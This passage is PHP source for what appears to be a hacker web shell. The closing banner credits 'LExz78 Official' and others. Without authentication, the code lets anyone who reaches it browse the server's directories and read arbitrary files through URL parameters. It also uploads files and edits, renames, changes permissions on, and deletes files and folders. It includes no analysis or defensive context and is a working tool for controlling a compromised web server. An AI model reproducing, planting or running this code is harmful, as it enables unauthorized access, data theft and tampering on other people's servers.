</HEAD>
<BODY>

<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<center>
<font color=red><b>Current Path : </font></b>';
if(isset($_GET['y'])){
    $path = $_GET['y'];   
}else{
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?y=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?y=';
    for($i=0;$i<=$id;$i++){
        echo $paths[$i];
        if($i != $id) echo "/";
    }
    echo '">'.$pat.'</a>/';
}
echo '<a href="?"><font color=red><b>&nbsp;&nbsp;&nbsp;Home </font></b></a></td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="#30f209">File Upload Done.</font><br />';
    }else{
        echo '<font color="red">File Upload Error.</font><br />';
    }
}
echo '<center>';
echo '<form enctype="multipart/form-data" method="POST">
<b><font color=red>File Upload : </b></font><input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td><b><center><font color=red align=center>Current File :</font></b> ";
    echo '<a href="?filesrc='.$path/$file.'&y='.$path.'">'.$_GET[filesrc].'</a>';
    echo '</tr></td></table><br />';
    echo('<textarea cols=90 rows=20 name="src">'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">Change Permission Done.</font><br />';
            }else{
                echo '<font color="red">Change Permission Error.</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Change Name Done.</font><br />';
            }else{
                echo '<font color="red">Change Name Error.</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">Edit File Done.</font><br />';
            }else{
                echo '<font color="red">Edit File Error.</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">Delete Dir Done.</font><br />';
            }else{
                echo '<font color="red">Delete Dir Error.</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">Delete File Done.</font><br />';
            }else{
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr>';
    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?y=$path/$dir\"><img width=33 height=44 src=\"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="#ffffff">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&y=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&y=$path\"><img width=33 height=44 src=\"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&y=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
echo '<br /><center><marquee direction="center" behavior="alternate"><b><h4><font face="courier new" color="white">LExz78 Official - Kakegurai Official - Mr.Cick3n</font></h4></b></marquee><br><audio src="https://b.top4top.io/m_17923krtx0.mp3" controls="controls" autoplays="autoplays" type="audio/mpeg"</audio></center>
<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/daun-berguguran.js" type="text/javascript"></script>
</BODY>
</HTML>';
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
?>